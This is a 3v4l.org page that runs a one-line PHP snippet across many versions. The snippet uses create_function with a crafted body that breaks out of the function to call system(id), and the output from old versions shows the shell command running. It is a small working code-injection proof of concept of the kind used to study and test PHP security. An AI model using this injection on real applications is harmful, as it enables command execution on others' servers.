3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php create_function('', '};print(system(id));{');
based on MBIra
Output for 7.2.0
Deprecated: Function create_function() is deprecated in /in/j7WWa on line 1 Warning: Use of undefined constant id - assumed 'id' (this will throw an Error in a future version of PHP) in /in/j7WWa(1) : runtime-created function on line 1
Output for 4.3.0, 5.4.39 - 7.1.10
Notice: Use of undefined constant id - assumed 'id' in /in/j7WWa(1) : runtime-created function on line 1
Output for 4.3.1 - 5.4.38
Notice: Use of undefined constant id - assumed 'id' in /in/j7WWa(1) : runtime-created function on line 1 sh: 1: id: not found